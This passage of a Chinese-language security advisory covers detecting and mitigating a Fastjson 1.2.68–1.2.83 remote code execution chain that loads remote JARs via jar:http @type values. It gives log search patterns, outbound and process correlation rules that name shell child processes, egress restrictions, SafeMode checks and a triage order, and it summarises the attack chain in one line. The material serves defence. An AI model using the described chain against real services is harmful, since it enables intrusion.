包含（忽略大小写）&#34;jar:&#34;    AND TYPE_VALUE 包含 &#34;!&#34;</span></code></pre><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">平台暂时只支持全文检索时，可退一步查同一条请求中的组合特征，但结果需要回看原文，确认这些字符串确实位于同一个 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">@type</span></code><span leaf="" data-nest-level="3">字段值中：</span></p><pre style="color: rgb(36, 48, 71);font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box;margin: 16px 0px;padding: 15px 16px;border-radius: 10px;background: rgb(23, 32, 51);overflow-x: auto;white-space: pre-wrap;word-break: break-all;" data-nest-level="2"><code style="color: rgb(226, 232, 240);font-size: 13px;line-height: 1.65;" data-nest-level="3"><span leaf="" data-nest-level="4">规范化请求体包含 &#34;@type&#34;AND 规范化请求体包含 &#34;jar:&#34;AND 规范化请求体包含 &#34;!&#34;</span></code></pre><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">全文组合检索的精度低于键值查询，因为三个片段可能分散在不同字段。对于只有原始日志的环境，可补充检索 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">\\u0040type</span></code><span leaf="" data-nest-level="3">等转义形态；同时记录使用了哪一层解码结果，避免重复解码造成误判。建议保留时间、源地址、目标服务、URI、方法、内容类型、请求标识、响应码、处置动作、原始请求和规范化请求等字段，方便后续关联。</span></p><h3 style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 30px 0px 13px;padding: 9px 12px;border-radius: 8px;background: rgb(241, 245, 249);color: rgb(30, 58, 95);font-size: 19px;line-height: 1.45;font-weight: 750;" data-nest-level="2"><span leaf="" data-nest-level="3">把入站、出站和主机行为串起来</span></h3><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">单条请求命中只能说明有人尝试。更有价值的是按服务实例和时间窗口做三段关联：</span></p><table style="width: 688px;max-width: 100%;border-collapse: collapse;table-layout: fixed;background: rgb(255, 255, 255);font-size: 12px;line-height: 1.55;min-width: 0px;"><thead><tr><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">关联结果</span></p></th><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">建议判断</span></p></th></tr></thead><tbody><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">入站请求的同一 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="7"><span leaf="" data-nest-level="8">@type</span></code><span leaf="" data-nest-level="7">值出现 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="7"><span leaf="" data-nest-level="8">jar:</span></code><span leaf="" data-nest-level="7">与 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="7"><span leaf="" data-nest-level="8">!</span></code><span leaf="" data-nest-level="7">，没有后续出站</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">疑似构造请求或探测，可能被解析、WAF、网络策略提前截断；暂按未证实利用成功处理</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">入站命中后，同一 Pod / 主机很快访问陌生 HTTP 地址</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">资源探测或远程获取很可能已经发生，优先检查 JDK、Loader 和 SafeMode</span></p></td></tr><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">再出现 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;word-break: break-all;overflow-wrap: anywhere;white-space: normal;" data-nest-level="7"><span leaf="" data-nest-level="8">java</span></code><span leaf="" data-nest-level="7">派生 Shell、系统命令或异常文件</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">高置信度代码执行线索，立即按事件响应流程处置</span></p></td></tr></tbody></table><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">实际检索时，可将入站命中与前后两分钟的 DNS、出口代理、网络连接和 EDR 事件关联。重点关注：</span></p><ul style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 12px 0px 18px;padding-left: 1.35em;color: rgb(51, 65, 85);" class="list-paddingleft-1"><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">Java 服务直连陌生 IP 或非常用端口；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">没有 DNS 查询却直接访问整数或裸 IP；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">HTTP 请求路径像普通资源名，未必带 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="5"><span leaf="" data-nest-level="6">.jar</span></code><span leaf="" data-nest-level="5">后缀；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="4"><span leaf="" data-nest-level="5">java</span></code><p data-nest-level="4"><span leaf="" data-nest-level="5">进程派生 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="5"><span leaf="" data-nest-level="6">sh</span></code><span leaf="" data-nest-level="5">、</span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="5"><span leaf="" data-nest-level="6">bash</span></code><span leaf="" data-nest-level="5">、</span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="5"><span leaf="" data-nest-level="6">cmd.exe</span></code><span leaf="" data-nest-level="5">、</span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="5"><span leaf="" data-nest-level="6">powershell</span></code><span leaf="" data-nest-level="5">等子进程；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">容器临时目录、应用目录出现来源不明的 JAR、class 或标记文件；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">Fastjson 日志出现 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="5"><span leaf="" data-nest-level="6">autoType is not support</span></code><span leaf="" data-nest-level="5">、</span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="5"><span leaf="" data-nest-level="6">safeMode not support autoType</span></code><span leaf="" data-nest-level="5">、</span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="5"><span leaf="" data-nest-level="6">ClassFormatError</span></code><span leaf="" data-nest-level="5">等异常，并与外部请求时间接近。</span></p></li></ul><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">检索结果最好按“请求尝试、发生出站、疑似执行”分级，不要把单个关键词命中直接写成服务器已经被执行代码。这样既保留敏感度，也能控制告警焦虑。</span></p><h2 style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 38px 0px 16px;padding: 0px 0px 0px 12px;border-left: 5px solid rgb(37, 99, 235);color: rgb(20, 33, 61);font-size: 23px;line-height: 1.35;font-weight: 750;" data-nest-level="2"><span leaf="" data-nest-level="3">限制出站能卡住远程链</span></h2><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">对目前公开的 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="3"><span leaf="" data-nest-level="4">jar:http</span></code><span leaf="" data-nest-level="3">链，限制出站是非常直接的缓解。它的过程可以简化为：</span></p><blockquote style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;box-sizing: border-box;margin: 18px 0px;padding: 14px 16px;border-left: 5px solid rgb(59, 130, 246);border-radius: 0px 10px 10px 0px;background: rgb(239, 246, 255);color: rgb(30, 58, 95);"><p style="letter-spacing: 0.02em;margin: 2px 0px;color: rgb(30, 58, 95);font-size: 15px;line-height: 1.75;" data-nest-level="3"><span leaf="" data-nest-level="4">不可信 JSON → 资源探测 → 目标发起 HTTP 请求 → 获取远程 JAR → 类定义与初始化。</span></p></blockquote><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">远程内容取不到，后续类定义就失去输入。因此，</span><strong style="color: rgb(16, 42, 67);font-weight: 750;" data-nest-level="3"><span leaf="" data-nest-level="4">严格限制 Java 进程、容器或 Pod 的任意 HTTP 出站，会把当前公开远程链卡在资源获取阶段。</span></strong></p><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">这里需要区分三种情况：</span></p><ul style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 12px 0px 18px;padding-left: 1.35em;color: rgb(51, 65, 85);" class="list-paddingleft-1"><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">GitHub 公开的 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="5"><span leaf="" data-nest-level="6">jar:http</span></code><span leaf="" data-nest-level="5">路径依赖 HTTP 可达，出站控制直接有效；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">微步复现的 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="5"><span leaf="" data-nest-level="6">jar:file</span></code><span leaf="" data-nest-level="5">使用本地资源，不走外部 HTTP，但还需要本地文件条件；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">Firsov 尚未披露的完整链是否有同样网络前提，等 write-up 后再判断。</span></p></li></ul><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">出站控制要落到真实数据路径，而不只是写在制度里：</span></p><ul style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 12px 0px 18px;padding-left: 1.35em;color: rgb(51, 65, 85);" class="list-paddingleft-1"><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">应用默认拒绝任意外连，只开放明确业务目的地址；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">外部 HTTP / HTTPS 统一经过出口代理或网关，限制应用直连公网 IP；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">允许列表同时约束域名、解析后的 IP、端口和协议；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">检查服务网格、透明代理、NAT、宿主机路由和云安全组是否真正覆盖；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">内网、测试网和合作方地址也要纳入核对，只要存在攻击者可控且目标可达的 HTTP 资源，远程获取条件仍然成立；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">记录被拒绝的 DNS 与 HTTP 连接，关注 Java 服务访问整数形式 IP、非常用端口和陌生资源地址。</span></p></li></ul><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">对当前公开链来说，SafeMode 和限制出站正好卡在两个不同位置：SafeMode 卡解析路径，出站策略卡远程资源获取。两项并行落地，比单独依赖 WAF 特征或 JDK 版本更稳。</span></p><h2 style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 38px 0px 16px;padding: 0px 0px 0px 12px;border-left: 5px solid rgb(37, 99, 235);color: rgb(20, 33, 61);font-size: 23px;line-height: 1.35;font-weight: 750;" data-nest-level="2"><span leaf="" data-nest-level="3">排查顺序可以更务实</span></h2><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">不需要把所有 Java 系统同时拉到最高级别。先找同时满足多个条件的服务：</span></p><ul style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 12px 0px 18px;padding-left: 1.35em;color: rgb(51, 65, 85);" class="list-paddingleft-1"><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">Fastjson 1.2.68—1.2.83；社区观察范围可额外覆盖 1.2.66—1.2.67；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">存在 HTTP body、Webhook、MQ、文件导入或第三方回调等外部 JSON 入口；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">使用 JDK 8；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">生产制品是经典 Spring Boot 可执行 FatJar，并通过 </span><code style="padding: 2px 5px;border-radius: 5px;background: rgb(238, 242, 255);color: rgb(55, 48, 163);font-size: 0.9em;font-family: SFMono-Regular, Consolas, monospace;" data-nest-level="5"><span leaf="" data-nest-level="6">java -jar</span></code><span leaf="" data-nest-level="5">启动；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">SafeMode 尚未在实际 ParserConfig 中生效；</span></p></li><li style="margin: 7px 0px;line-height: 1.8;"><p data-nest-level="4"><span leaf="" data-nest-level="5">应用可直接或经代理访问任意外部 HTTP 地址。</span></p></li></ul><p style="font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 14px 0px;color: rgb(51, 65, 85);line-height: 1.9;letter-spacing: 0.02em;" data-nest-level="2"><span leaf="" data-nest-level="3">同时满足以上条件的服务优先级最高。处置可以按下面的顺序推进：</span></p><table style="width: 688px;max-width: 100%;border-collapse: collapse;table-layout: fixed;background: rgb(255, 255, 255);font-size: 12px;line-height: 1.55;min-width: 0px;"><thead><tr><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">优先级</span></p></th><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">动作</span></p></th><th style="padding: 8px 5px;border: 1px solid rgb(203, 213, 225);background: rgb(234, 242, 255);color: rgb(23, 54, 93);font-weight: 700;text-align: left;vertical-align: top;word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">目的</span></p></th></tr></thead><tbody><tr><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">P0</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">验证 SafeMode 实际生效，并检查自定义 AutoTypeCheckHandler</span></p></td><td style="padding: 8px 5px;border: 1px solid rgb(219, 228, 238);color: rgb(51, 65, 85);text-align: left;vertical-align: top;background: rgb(255, 255, 255);word-break: break-word;overflow-wrap: anywhere;white-space: normal;"><p data-nest-level="6"><span leaf="" data-nest-level="7">阻断当前公开解析路径</span></p></td></tr><tr><td style="padding: 8px 